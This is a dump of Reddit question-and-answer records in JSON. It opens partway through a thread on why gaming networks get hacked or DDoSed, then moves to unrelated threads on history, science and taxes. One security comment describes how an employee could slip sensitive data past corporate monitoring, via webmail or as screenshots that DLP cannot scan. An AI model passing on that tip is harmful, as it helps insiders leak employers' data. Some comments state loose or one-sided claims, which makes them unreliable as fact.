the CEO so they go home at night and assume they are safe. \n\nThe truth is that there is no such thing as security. If someone really wants to penetrate a network, they will. I'm in the business of risk management. The Sony hack was by no means easy, it must've taken months if not years to obtain all the infrastructure information the hackers were privy to. They had malware built specifically for certain servers and knew them by name. What does that mean? Either they had a man on the inside or spent a really really long time doing recon and obtaining admin credentials. \n\nA lot of the attacks you hear about on the news are not very sophisticated at all. They use tried and true simple tactics that still manage to bypass the majority of security infrastructure out there. DDoS are what babies do when they yell over people, it's not even a real hack. \n\nThere is a reason that you hear about 14 year olds with too much time on their hands taking down sites. It's easy as hell. You download the right program to get the job done. Back in the day hackers would write their own code and build their entire attack themselves. That means they would do the fishing, code the vulnerability scanner, code the payload file, find the information they need and then a channel through which to exfiltrate it. THAT was hard. Now you can pay someone to DDoS a site for you for 5 dollars an hour...\n\nIf you don't believe me and think this is a little farfetched, next time you are at work see if you can upload any sort of company sensitive information to a cloud site or send it to yourself over web mail. Chances are your employer doesn't even have visibility into that encrypted channel (https). Turns out they do? Screenshot the sensitive info or save as a pdf then send it out. Guess what? Unless your employer is using Websense DLP they can't even look into image files and scan them for sensitive data. \n\nToo many people are comfortable with compliance (check box) security that doesn't protect their sensitive information very much if at all. Therefore the vast majority of organizations are breached very easily. ", "dude... I'm high right now so I feel like I'm in the matrix reading all this code talk. thanks. ", "The lizard lovers aren't actually hackers. They just overload a server with so many requests that they can't respond to them all. That's what ddos-ing is.", "Information security engineer here. Most developers just want to get a direct deposit and come home a little after 5pm everyday.\n\nGood programming is hard and takes a lot of meticulous long hours of effort. Missing the smallest things can cause a security disaster.", "Souce: I've worked as a network engineer for a company that ran the multiplayer network for various AAA games.\n\nMy personal feeling is that the good hackers don't waste time with a DDOS because it doesn't give the source any data, it just makes something unavailable.\n\nFirst I'll outline the 3 normal types of attacks networks like PSN and XBL would see,\n\nSending traffic blindly (via CHARGEN or NTP reflection type attacks) - These are easily ignored by blocking the affected ports and as long as your ISP has the backbone capacity (which you don't have to pay for) you'll generally be fine.\n\nTargeted ports (ie sending TCP/80 to a webserver) - This requires a little more effort because you still have to allow that port in, but you can have this traffic blocked by a firewall or something else that scrubs the traffic before it gets to the webserver.\n\nFlooding valid traffic (such as a SYN flood) - There isn't much that can be done upstream for this on the cheap because it's essentially a valid HTTP request, just a lot of them which uses up all the free ports. This can be mitigated via devices in front of the webserver such as a loadbalancer which can eat up the request without killing the backend servers so it comes down to bandwidth and luckily these type of attacks are high packets-per-second but low bandwidth.\n\nThere are more but I think that covers most.\n\nA majority of DDOS we saw were essentially people who purchased some time on a botnet where \"the tard\" gave them an IP address (and often a port) then gave them $x per hour (or some variant) and the botnet would go off and DDOS for how ever long the customer has paid for. I certainly wouldn't call these people hackers and generally they can be ignored if you have a decent amount of bandwidth or some basic ACL's (_URL_0_) because these people think they can spend $30 and take down PSN or XBL. Companies see them but with the decent security you'll notice nothing.\n\nIn a normal AAA title launch month we'd see well over 100 separate attacks and usually well less than 5% would actually do anything of notice. These type of services are usually used for DDOSing a specific person (ie someone on twitch) or a small-medium sided company's website.\n\nThe small number of attacks that people actually notice are either people who purchase time on multiple botnets or potentially run their own one with specific attack style (like NTP reflection before everyone started blocking it) but your question is WHY these affect large networks, the catch here is that they typically go for the more complex DDOS attacks which can't be mitigated cheaply and to often someone who gets paid a lot of money decided the risk was worth it in comparison to the cost of a solution that would mitigate that risk.\n\nThat's not to say there isn't something you can't do and that's where the paid services come in, like some of the stuff Akamai do. They announce your IP as if it were from them and that way their data scrubbing sites all across the world will clean this DDOS traffic as close to the DDOS source as they can which means the bandwidth never becomes an issue and it's all monitored and runs on black magic so generally people just don't notice anything, catch is this stuff costs ... a lot. However it's still cheaper than buying 300gig of internet bandwidth and all the network gear that's needed to run that. Companies the scale of Google/Microsoft etc with points-of-presence all over the world have their own black magic solutions.\n\nTL;DR management get cheap and don't follow their engineers suggestions.", "I wish I knew what the top deleted comment said.", "For the exact same reason a 16 year old kid hacked the original iPhone: there are people with nothing but time on their hands to figure out how to hack the system, and they LOVE doing it. And some of them are paid well to do it, while others make mega bucks by selling what they can steal.\n\nRemember the Fappening?", "Better, rhetorical question, why do people waste their time doing this shit?", "Because it *is* easy if you have the time and the motivation to do it. DDoSing is not a very intricate thing.", "If you're going to take down gaming networks on Christmas, you could have at least picked a damn worthy name for your group that doesn't sound like a muddled group of fourth graders in recess. Who in gay margarita hell decided on a fuck boy faction name like \"Lizard Squad\"? Good job concreting your virginity.", "The problem is not the security team, it's the system itself. \n\nThe base system was developed for the educational and military systems where you had a level of respect and responsibility involved. \n\nBut now any asshole can tap into your communication line and snoop or modify your communication. \n\nThere are ways around it but they are expensive and get the government interested in you, because if they can't see what you are doing then it must mean that you are a up to no good. \n\nIt's the good ol' guilty until proven innocent logic. \n\n ", "FYI the top comment which was removed said \"If DDOSing makes you a hacker then smashing in a door with an axe makes you a locksmith.\"\n\nAnd everything downstream of that is a joke...of course. I can't blame the mods here...they're dealing with a torrent of shitty comments in an otherwise tightly controlled sub.", "There is no real market for good security. Everybody wants something cheap and security gets out of picture.\n\nSecurity is hard to get right with systems that are so complex that we barely get them to work in normal conditions. Security is about active adversary. Security bugs are different nature than regular functionality bugs. If product has two regular bugs that 2% of customers run into, ok, no big deal. If product has two security bugs, bad people will use them (and possibly share them with other bad people) maliciously so 100% of customers will be affected.\n\nWhen you need to buy a home wifi router, which one you buy? The one for $30 or one for $500 with same features and better security. Probably the cheaper one because the security hard to evaluate. Both will claim they have security features and both with disclaim any responsibility and liability in license. You don't know if you are buying good security until it is too late. And market forces will allow company with the $30 router to prevail.\nIt is same with most hardware and software.\n\nStrong security is also often not practical, there is a compromise between security and usability. Company managers often choose practical solution over secure one. It is practical to have single network with no compartments in whole company, but more secure is to have some separation so that successful attack in small company unit does not extend into whole company. Security guys in any company know this, but that is not enough, they have to persuade business people to accept less productivity for more security. That rarely happens and even if it does, will such less productive company survive on market?\n\nPeople are often weak links too. No amount of education will make them perfect. Secure behavior is hard to learn and evolving. What is sufficiently secure behavior today might not be next week. I remember times when not running exe and com files from diskette and not booting from it was sufficient to prevent infections. Reading documents from it was safe. But then came viruses in MS Word files. Then came viruses in autorun.inf so that just inserting a flash disk was sufficient for infection unless you disabled autorun in registry (until MS reacted to that threat few Windows versions later). At one time it was considered that browsing pages on internet is safe as long as you don't download executable files and run them. But then security bugs constantly discovered in browsers and plugins mean you have to have up to date software to safely browse internet. At one time Apple computers were considered to be safe from viruses. They just did not happen to be valuable targets by then, but they are now. At one time browser addons/extensions/plugins were there to help you, now there are a lot of malicious ones that will steal your bank credentials. At one time if email arrived from bank or phisher you could tell right link from wrong by visually checking URL bar, but then homograph attacks and domains with international characters appeared. At one time viruses were written for fame and feel of control by lone wolfs, now they are written for extortion, corporate espionage and money stealing by very organized thieve groups having hundreds of workers. Malware and regular software distinction is becoming fuzzy. Thieves are buying sources and means of distribution of programs and mobile apps from original authors and including malware functionality along with regular functionality. Innocent software may become malicious just by updating to a new version because new owners of it are malicious. Some software is being written from scratch with intent of providing something useful and including something malicious along.\n\n\ntl;dr security is hard and evolving, it is also not cheap and hard to evaluate so cheaper but less secure SW wins in marketplace\n\n\nAbove is about general computer security, regarding the DDOS attacks that happened, they cannot be well prevented if attackers control large number of computers on internet (to which they gained access by exploiting weak security). They just do requests like regular users from all controlled computers but they have many and do so many requests that service cannot handle them. Sometimes motive is political (hate of target) sometimes it is extortion.", "It's not hacking at all, they're just being swamped.", "When they built the WTC towers in NY, they considered how to get people to the top, to the bottom, through corridors and things that architects generally consider. It wasn't until 9/11 that we learned we might want to build them resistant to jumbo-jet collisions.\n\nThese services try to prevent bad things from happening, but any feature can be turned on its head and with some ease. These systems are designed to provide a service, like a shop and are not designed like a military base, carefully restricting access.\n\nBasically, few people can build an awesome sand castle, but anyone can fuck it up. That is why I coat all of my sandcastles with concrete so I can laugh when they kick it.", "Here's my take on it. It's much easier to break something than it is to fix it. Just think of a Lego building. 2 hours of hard work can go to waste in 10 seconds.", "It's easier to destroy something than it is to build it. ", "because you only know of those hackers who succeeded . \nlike if 10000 tried but 12 succeeded media will tell you the company was hacked by 12 hackers. and since they don't tell you about other attempts, its like they succeeded 12/12 times rather than 12/10000.", "Here's the best explanation I can think of. Internet was never invented to handle payments and rely so much on identity, it was supposed to be a fast open communication system that is decentralized compared to the telephone system. \n\nToday, Internet is the biggest part of economy ... ", "The highway quote used above is the perfect explanation of Denial of Service attacks. The one quote that I love to use (that also explains the breach aspect of these hacks) is that 'Amateurs hack computers, Professionals hack people'. \n\nEssentially, if you can trick one person into giving your their username and password, you have just skipped all of that expensive front-line security and now are Inside the company's network (where security is generally more lax). ", "I'd like to point out that these idiots aren't hackers by any extension. It pisses me off seeing/hearing popular media refer to them as hackers, because it only encourages them.\n\nDDoS-ing is not hacking. It's overloading the server(s) from the outside. All it takes is to run a program, and anybody who wants to be part of a group called Lizard Squad probably isn't competent enough even for that.\n\nIIRC, they're paying a service in China to do it for them.\n\ntl:dr- not hackers, children paying a Chinese man", "Man, people who do this are assholes. A hundred thousand kids wanna play their console on Christmas day, but some dicknose disabled the network.", "The thing about DDos , which is what is the common attack on a website, is just having multiple computers (or multiple instances per computer) \"calling\" a specific site. This is how the internet works. Computers call each other and exchange information (packets). This is normal operating not a bug.\n Now people have written programs so as non skilled \"hackers\" can also do this without knowledge on how to use basic command lines, so any bozo can manage to start a program and set target IP's, just as everyday users \"install and run\" games or notepad for example. \nWith that out of the way basicly what you have is a mass group of computers (the zombie drone virus filled remote controlled computers that people just leave running) all contacting multiple times the same IP (behind a wall of IP jumping so as to not be located) and consistently asking for packets so as to overuse or bog a server (just a large computer) down ,and people wanting to contact these computers for actual use get stuck with a \"busy try again\" tone. A wolf in sheeps clothing if you will.", "Why aren't the large corporations hiring these people who find cracks?", "Cory Doctorow has a brilliant way that he explains it, which I'm going to try and paraphrase:\n\nWhen it comes to computers, \"security\" (or resistance to being hacked) is a very special type of feature. See, anyone can design a security system so robust and resistant that they themselves can't break into it, but getting one that everyone else can't get into is a much harder task. Historically, the solution to this problem has been to open up your security system to inspection, and to allow people to deliberately try to break through it - kind of like how big banks will occasionally hire professionals to try and break into their vaults to see how effective they are.\n\nThe problem is, under the Digital Millennium Copyright Act,  it's illegal to try and crack open a computer with a security system on it, even if that security system is severely flawex, weak, and/or notably easy to bypass. AND, even more important than that, if you DO manage to crack a system open, it's illegal for you to \"distribute\" your method of doing so, or in other words it's illegal to tell anyone how you did it.\n\nAs a result of this, it's very difficult to develop good computer security at all, because sharing with each other what works and what doesn't could get you arrested for doing so.\n\nSo, to answer your question: it's not that hackers are just unstoppable, invincible computer gods - it's that the majority of computers are walking around with big \"press X to hack me!\" signs hanging off them wherever they go, and it's illegal to fix them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["cyberblogindia.in"], [], [], [], [], [], ["http://www.reddit.com/r/AskReddit/comments/2jh6wj/what_is_something_everyone_thinks_all_movies_get/clc05eg"], [], [], ["https://isc.sans.edu/forums/diary/Incident+Response+at+Sony/19113/"], [], [], [], [], [], [], ["http://www.geek.com/games/psn-was-running-on-unpatched-apache-server-with-no-firewall-1362961/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://blog.cloudflare.com/understanding-and-mitigating-ntp-based-ddos-attacks/"], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Access_control_list"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "8k0igg", "title": "My friend has a CZ-38 German sidearm and he\u2019s trying to figure out who it belonged to.", "selftext": "Is there anyway he can use the serial number to find out what squadron or soldier it was issued to?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8k0igg/my_friend_has_a_cz38_german_sidearm_and_hes/", "answers": {"a_id": ["dz5ulsx"], "score": [2], "text": ["The CZ-38 was originally designed for the Czech military, which [ordered 41,000 of the pistols](_URL_1_). The Czechs never got to use their new guns, though, since the Germans had taken over the country (and pistols) before they could reach combat units. According to this [translation](_URL_2_) of a Czech-language work, *Ceskoslovenske Pistole 1918-1985,* guns numbered 240000 - 242999 went to the Luftwaffe. Numbers B291000-B291999 (the B in front standing for \"Bulgaria\"), were for export to Bulgaria. The remaining pistols, with numbers 250,000-291,000, went to German occupation forces. These numbers are confirmed by Ian McCollum's brief [article](_URL_0_) on the gun. In terms of finding out which serial number went to which squadron/soldier, I can't find any resources regarding weapon assignments. Your best bet would probably be to email Forgotten Weapons or some other firearms ID organization and see if they can help out. Hope this info's useful!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.forgottenweapons.com/cz38-the-czech-ugly-ducking/", "https://books.google.com/books?id=6GrRDQAAQBAJ&amp;pg=PA273&amp;lpg=PA273&amp;dq=cz+38&amp;source=bl&amp;ots=g7vKoPkfKT&amp;sig=rgUW9VRvb98NliajZuiOiYtJXeg&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiwlLSCgY7bAhUn4IMKHWnABTM4ChDoAQg_MAg#v=onepage&amp;q=cz%2038&amp;f=false", "http://www.freeexistence.org/vz38.html"]]}
{"q_id": "44biyl", "title": "how do nutrition labels work for items like bacon? the more you cook it, the more fat is left in the pan so wouldn't it change the values on the label?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44biyl/eli5_how_do_nutrition_labels_work_for_items_like/", "answers": {"a_id": ["czoymzc"], "score": [10], "text": ["For items whose nutritional content changes via the cooking process, the nutrition label can only show the nutrition *before* you cook it. Sometimes they'll show both (\"as prepared\") but if there is only one, you can only assume that it's pre-cooking.\n\nCompare with pasta nutritional labels where the issue isn't so much the nutrition but the serving size (which changes dramatically after cooking it. The serving size on the nutrition label is dry.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "51rvpa", "title": "Floating Feature: Legal status (or its repeal) used to initiate executions/massacre in your area of expertise.", "selftext": "Now and then, we like to host 'Floating Features', periodic threads intended to allow for more open discussion that allows a multitude of possible answers from people of all sorts of backgrounds and levels of expertise.\n\nOur question today comes from /u/Kugelfang52, a flaired user in \"Third Reich | Holocaust Historiography | Textbooks\". They ask: \n\n\"I am currently reading *Empire and Underworld* and am fascinated by the use of legal definitions and the creation of extra-legal spaces to execute unwanted groups in revolutionary France. As a scholar of the Holocaust, I can certainly see connections. This made me wonder what other locations and times saw similar things occur. Did Athenians or Romans create a extra-legal space to \"disappear\" enemies? What about Republican or Qin China? Mesoamerica perhaps?\n\n\"This is such a fascinating aspect of legal history. Please give me your best account!\"", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/51rvpa/floating_feature_legal_status_or_its_repeal_used/", "answers": {"a_id": ["d7ej27d", "d7ejxg2"], "score": [13, 10], "text": ["Let me more or less reprint an [older answer of mine](_URL_0_):\n\nIn Early Republican Turkey, Ataturk tried to \"modernize\" the country: he got rid of the caliph, introduce Western civil and criminal law, changed from Arabic-Persian letters to adapted Latin ones, started universal public education, organized the first modern census, and, relevant for this discussion, modernized dress.  One of the big ways he modernized dress was outlawing the fez and introducing European style hats (from the top hat to the fedora to the Irish immigrant cap); this was covered in the Hat Law of 1925.  Despite the fact that the fez was only introduced to most of the Ottoman empire in 1826-9 following the surpression of the Janissaries (to replace the turban) as one of the earlier concentrated modernization attempts, conservatives clung to it desperately and **in 1925, dozens of people were executed because they wore fezes* (yes, fez the hat).  The symbol of 19th century modernism and bureaucracy had become a symbol of early 20th century anti-modernism and reactionaries. See \"Kemalism on the Catwalk: The Turkish Hat Law of 1925\" by Camilla T. Nereid.  \n\n > Considered an important tool by Mustafa Kemal in his attempts to modernize Turkish society, a new dress code was enacted in 1925 that required traditional headgear be replaced by the western hat. In subsequent days, 808 people were arrested for violating the law, 57 of whom were executed.\n\nTl;dr Ataturk and co. were  deadly serious about modernizing, by which they often meant \"becoming European\".\n\nAs an interesting side note, in much of the Arab parts of the former Ottoman Empire, the fez hung on as a symbol of modernism for a few more decades. I've read articles on a western suit plus fez as the dress code of the Iraqi middle class into the 1950's at least. ", "After the excesses of cruelty in the Caribbean the Spanish Crown repeatedly tried to curtail massacres and violence enacted by it's agents abroad. To this end legal *entradas* required official Crown license before entering/conquering new lands, excessive violence toward and enslavement of Native Americans was outlawed, and would-be *conquistadores* were required to first read the [*Requerimiento*](_URL_2_) where peace was promised to those who willingly submitted to Spanish dominion (we'll ignore the ridiculousness of the *Requerimiento* for now). However, as conquest unfolded a loophole developed where conquerors could perform horrible acts of display violence, enslave whole villages, and execute women if those individuals were determined to be rebels. This loophole is also responsible for one of the more pervasive myths surrounding conquest, that of a completed conquest.\n\nI talked about the myth of a completed conquest [here](_URL_1_), and will adapt sections of that post here. For those interested check out chapter four of [*Seven Myths of the Spanish Conquest*](_URL_0_) by Matthew Restall for the best, brief analysis of this myth.\n\nBriefly, the process of claiming title over lands required local authorities to present a completed invasion with a pacified indigenous population. Personal claims complemented the larger Spanish imperial justification of conquest as guided by divine providence, and required by papal decree. Together, these attempts to validate personal, as well as imperial expansion, established conquest as complete, interpreted resistance as rebellion, and imbued an unfinished conquest with an air of inevitable success.\n\nAs background, during the exploration and conquest of the New World the Spanish crown sold licenses to explore/conquer/rule a specific region. *Adelantados* bore the cost of mounting the hazardous expeditions into the unknown, and successful invaders would gain from the production of their land, after the crown took it\u2019s *quinto* (a fifth of spoils and taxes). The crown benefited substantially from selling these grants. Instead of devoting prohibitively expensive military resources to control land in the New World, these contracts placed the financial burden for territorial expansion on would-be *conquistadores*. The crown gained potential income from new lands, and contractually held the ability to regulate extremes of conquistador behavior if they failed to comply with the terms of the contract. Punishments for abuses or failure to act in a timely manner ranged from imprisonment, to substantial fines, or revoking the original license.\n\n*Adelantados* were therefore placed under extreme pressure to maintain the resources required for a successful *entrada*, establish a permanent base of operations, find something that made the new colony immediately economically viable to recoup their losses and continue to hold crown support (hence the preoccupation with precious metals), and convince the crown the local population posed no threat to their endeavors. Lobbying between *adelantados* and the crown often took years. For example, Juan de O\u00f1ate originally submitted a license to conquer New Mexico in 1595, petitioned repeatedly to lobby for contractual fulfillment when the license was revoked in 1597, and then engaged in a prolonged legal battle from 1606-1624 for use of excessive force during the *entrada*.\n\nPresenting their lands both worthy of conquest and easily conquered emerged as common theme for *adelantados* attempting to validate their position and maintain continued royal support. The formulaic writing style stressed not only a completely conquered native population, but one willing to submit both to Spanish rule and the Catholic faith, regardless of the actual facts on the ground. Hedged in religious terminology, and with papal support that acted as a divine grant of land for Castile and Portugal, \u201cclaims of possession became synonymous with possession itself\u201d (Restall, p.68).\n\nQueen Isabel stated, in 1501, that the vast number of inhabitants populating the New World were \u201csubjects and vassals\u201d and should \u201cpay to us our tributes and rights\u201d. Yep. Nine years after Columbus landed, and before anyone had any idea the vastness of the Americas, all inhabitants in lands claimed by Spain were subjects of the crown, they just didn\u2019t know it yet. Couched in these terms, Native American resistance to conquest became an unholy rebellion, and violent resistance an illegal infringement on colonial peace. Since *conquistadores* were fighting rebels against the crown and the Catholic faith, military campaigns were undertaken for pacification (not conquest). Since resistance leaders were rebels they could be tried and executed for treason, their followers legally enslaved for rebellion (despite the official ban on native slavery within the empire). I\u2019ll quote Restall here because I can\u2019t put it better\u2026\n\n >  This pattern can be seen in the Yucatan as well as in virtually every region of Spanish America. Having founded a new colonial capital in 1542, named M\u00e9rida, the Spaniards in Yucatan declared the Conquest achieved and set about \u201cpacifying\u201d the peninsula. But as they controlled only a small corner of it, they were obliged to engage in major military hostilities with one Maya group after another, encountering particularly strong resistance in the northeast in the late 1540s. This was clearly an episode in a conquest war now in its third decade, but just as the Spaniards had already declared the Conquest complete so did they now classify this resistance as a rebellion\u2026 This was used to justify the execution of captives, the use of display violence (notably the hanging of women), and the enslaving of 2,000 Mayas of the region. Four centuries later, historians were still calling this \u201cThe Great Maya Revolt.\u201d (p. 69)\n\nAn uncritical examination of the primary documents of conquest obscures the complexity of ongoing non-violent resistance, as well as open warfare and revolt, throughout the Empire. *Adelantados*, local officials, and the greater empire hoped and prayed their endeavors would succeed. Until they established complete control over lands granted to them by the Crown the rules of the empire rewarded those who maintained the fiction of an uncomplicated, completed conquest. If we inherit an inevitable narrative of conquest it is only because, in hindsight, we read the hopes of *adelantados* as truth despite constant acts of \"rebellion\" percolating throughout an Empire attempting to complete a very unfinished conquest. The myth of a completed conquest protected *adelantados* from a revoked license, while simultaneously allowing them the legal use of increased force to subdue rebellion, and the freedom within the law to enslave troublesome subjects. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/175d2n/whats_the_most_trivial_reason_you_know_of_that_a/"], ["https://www.goodreads.com/book/show/174710.Seven_Myths_of_the_Spanish_Conquest?from_search=true", "https://www.reddit.com/r/badhistory/comments/2rjw9r/myths_of_conquest_part_three_a_completed_conquest/", "https://en.wikipedia.org/wiki/Spanish_Requirement_of_1513"]]}
{"q_id": "6xan74", "title": "When a boat travels over a water bridge, how does the weight on that bridge change?", "selftext": "Inspired by this picture, I wanted to know if the weight on the bridge would be lighter or heavier while a boat was traversing. My assumption was that it would be lighter, from displacement. \n\n\nFurthermore, how heavy (as a percentage of the weight of the existing water) could a ship be before it sank or high-centered on the bridge?\n\n_URL_0_\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6xan74/when_a_boat_travels_over_a_water_bridge_how_does/", "answers": {"a_id": ["dmetvx9"], "score": [21], "text": ["Wouldn't the boat displace a volume of water equal to it's own mass? If so, then the total mass on the bridge shouldn't change. If you put a 10,000 kg boat on the bridge, you should push 10,000 kg of water off the bridge."]}, "title_urls": [], "selftext_urls": ["https://i.redd.it/42cw78hjq3jz.jpg"], "answers_urls": [[]]}
{"q_id": "nagod", "title": "Can I replace Fruits and Vegetables in my diet with a multivitamin supplement?", "selftext": "I don't have much time to go grocery shopping, so I do it once a month, even once every two months, but all the fruits and vegetables that I buy last at most one week.\n\nI'm guessing you can't live entirely of Supplements and Meats. What nutrients would I be missing if I tried?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nagod/can_i_replace_fruits_and_vegetables_in_my_diet/", "answers": {"a_id": ["c37khjz", "c37khjz"], "score": [2, 2], "text": ["You would definitely want to be sure to have a good source of fiber in your diet. If you arent getting it through veggies, plan to eat whole grain breads. Along with that, I have heard of multiple studies casting doubt on the benefits of multivitamins, but this could also be due to vitamin toxicity (getting too much), so I think the jury is still out on that one. ", "You would definitely want to be sure to have a good source of fiber in your diet. If you arent getting it through veggies, plan to eat whole grain breads. Along with that, I have heard of multiple studies casting doubt on the benefits of multivitamins, but this could also be due to vitamin toxicity (getting too much), so I think the jury is still out on that one. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25i5pq", "title": "how come i made a post which has over 2000 upvotes but my karma only went up by 1000?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25i5pq/eli5_how_come_i_made_a_post_which_has_over_2000/", "answers": {"a_id": ["chhec7v"], "score": [3], "text": ["the upvotes are \"fuzzed\" \n\nsee here:\n\n_URL_0_\n\nsearch for fuzz\n\nyour post never had 2000 upvotes, it had 1000 upvotes.\n\nyou are shown bullshit numbers. Only the score matters."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/wiki/faq"]]}
{"q_id": "94ze61", "title": "how do clouds exist despite being cooler than 100\u00b0c?", "selftext": "This might be a really stupid question, and I suppose this has something to do with air and pressure.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/94ze61/eli5_how_do_clouds_exist_despite_being_cooler/", "answers": {"a_id": ["e3ovzl2", "e3owfyd", "e3owwjm"], "score": [3, 4, 19], "text": [" Water evaporates at lower temperatures. At 100\u00b0C, it basically just looses it's shit and vaporizes quickly. So even if there is no boiling heat, water molecules will bounce against each other, pushing some over the edge so they escape the surface and float away. They just bounce a lot faster once the water boils. \n\nYou can observe this by leaving a glass of water in your room for some days. It will never boil but dry out nonetheless. The water isn't gone, but is now humidity in the air. And this humidity, from all forests, rivers, lakes and the ocean is what forms the clouds. ", "Water vapor exists at lower temperature too - there can be up to 28 grams of water in cubic meter of air at 30 degrees. If this air saturated with water vapor gets colder then water condenses and you get visible clouds or fog.", "Well, it's a misconception that clouds are water vapor - they actually consist of tiny water droplets and ice crystals, water vapor is invisible. \n\nBesides that, water can evaporate at temperatures below 100\u00b0C it just doesn't do it very fast but a small amount of water always does especially when in direct sunlight. Depending on the temperature of the air there can quite a lot of water vapor in the air (humidity) but as the rising warm air cools down at height the air can't hold as much water vapor so the water starts to condense (or freeze) high up creating clouds."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "18p9ye", "title": "how did facebook get a $429m tax refund and not have to pay any taxes last year?", "selftext": "I've never understood or really done my own taxes, is this tax break from a loophole Facebook used to their advantage? \n\narticle: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18p9ye/eli5_how_did_facebook_get_a_429m_tax_refund_and/", "answers": {"a_id": ["c8grocj", "c8grp1y", "c8gvsit"], "score": [32, 2, 2], "text": ["I think the article explains it relatively well. Profits = Income - Expenses, and the government puts taxes on profits (so its a tax on income - expenses). Stock options are included in expenses, so if you give out a lot of stock options your expenses are high and therefore profits are low so you pay little in taxes.\n\nWhat is a stock option? A stock option is giving your employees a chance to buy your stock for less. So if a facebook stock costs $10 you might sell it to your employees for only $1, in many cases both workers and managers like it when employees own a part of the business they work for. In this case the company lost $9 for selling the stock (it costs $10 but it only sold it for $1) so it can count those $9 as an expense, as a part of their compensation to their workers. The workers gain $9, because they saved $9 for buying the cheap stock, so they have to pay taxes for those $9. In effect the government is saying that giving out stock options is equivalent to a salary.", "In the USA, tax laws say that, when staff are rewarded by being given options to buy shares in their company, the cost of those options are tax-deductible - they can be subtracted from the company's profit before working out how much tax the company has to pay.\n\nFacebook was launched on the stock market last year, and offered its staff large amounts of share options - enough that the tax deduction they get as a result of that is large enough to more than offset any tax they would have paid on their profits if not for this deduction.", "Businesses are not taxed like individuals are. In a business if you sell something for $10, but it costs you $9 to make, you are taxed on only the $1 profit, not the $10 revenue.\nProfit on financial statements, and profit on a tax return are most often not the same number. This is simply because the rules of what transactions are valid expenses and what ones are not are different. One of the big difirences are in the way stock options are treatedd\nA stock option is the \"option\" to purchase the stock in the future, at a price you set right now. The most common is the option to allow employees the ability to purchase stock (for example) 1 year from today, at today's price. The implication being that if the employee works hard and does a good job, the stock will go up and the employee will make money. If the employee does shit fuck all, the stock will drop and the options will be worthless.\nStock is a funny thing, Because Facebook has a pile of it's own stock, it can just issue it to employees when they buy the options. As far as the IRS is considered, this is a valid expense and it should be removed from income. As far as Accountants are concerned it is not a valid expense and should not be removed from income. However because it has an affect on the taxes it should be disclosed in the notes of the financial statements.\nThese differences between financial statements and income tax returns are the direct cause of 99% of these articles where a company makes $XX profit buy pays no tax.\n"]}, "title_urls": [], "selftext_urls": ["http://www.businessweek.com/articles/2013-02-15/facebook-gets-a-multi-billion-dollar-tax-break"], "answers_urls": [[], [], []]}
{"q_id": "1wszjz", "title": "What is a Quantum vacuum Plasma Thruster?", "selftext": "Hello, Today i read [This] (_URL_0_) in the TIL subreddit. Sorry im Confused, can anyone Explain clearly. How this works?\nEspecially the part with \"No Fuel\" Does the Thruster use vacuum Energy? Or if its not. Where is the Energy exactly coming from?\nThank you in Advance for you Answer", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wszjz/what_is_a_quantum_vacuum_plasma_thruster/", "answers": {"a_id": ["cf53opl", "cf54znz", "cf5d10s"], "score": [13, 5, 3], "text": ["The first distinction to make is that propellant and fuel are not the same thing, necessarily. The fuel is the source of energy; the propellant is the stuff which comes out of the back of the rocket to provide thrust via Newton's third law, or conservation of momentum. \n\nIn the case of chemical rockets, the distinction isn't obvious because the fuel, after being ignited, is blasted out of the back, and therefore is also the propellant. \n\nCarrying propellant is a significant bottleneck for deep space travel; however much propellant you want to use, you need to carry it until it's finally ejected and therefore you're adding an unbounded amount of mass to whatever payload is on your spacecraft, making its acceleration slower.\n\nThe dream is to be able to take energy and propellant from space instead of having to carry them on board the spacecraft. One classic idea is the [Bussard Ramjet](_URL_1_) which uses magnetic fields to scoop up interstellar matter, cause fusion, and then eject the matter out of the back faster than it was scooped up. Unfortunately, calculations show the drag is too high for anything not comically big (e.g. bigger than the solar system).\n\nThe quantum vacuum plasma thruster, as I understand it, uses pair creation of quantum particles in an electromagnetic field to create propellant. It doesn't use the vacuum as its energy source; this would violate conservation of energy.  \n\nThe idea is that electrons, positrons and photons are constantly popping in and out of the vacuum, but in an intense field, there is enough energy for them to become real particles. They are directed out of the back of the spacecraft, thereby causing thrust in the forwards direction by momentum conservation.\n\nEdit: Some references, since people have queried vacuum pair production in intense fields, \n\n >  [New strong-field QED effects at extreme light infrastructure](_URL_0_) by G.V. Dunne\n\nFrom the abstract:\n\n >  Since the work of Sauter, and Heisenberg, Euler and K\u00f6ckel, it has been understood that vacuum polarization effects in quantum electrodynamics (QED) predict remarkable new phenomena such as light-light scattering and pair production from vacuum. However, these fundamental effects are difficult to probe experimentally because they are very weak, and they are difficult to analyze theoretically because they are highly nonlinear and/or nonperturbative [...] I concentrate on the theoretical tools that have been developed to analyze nonperturbative vacuum pair production.", "There's this scam artist named Harold White who for some reason has been hired by NASA to make bogus claims about things that don't exist. This is another example.", " >  Where is the Energy exactly coming from?\n\nThat's the crucial question.  One can only make particle pairs (*e.g.*, electron-positron pairs) by supplying the 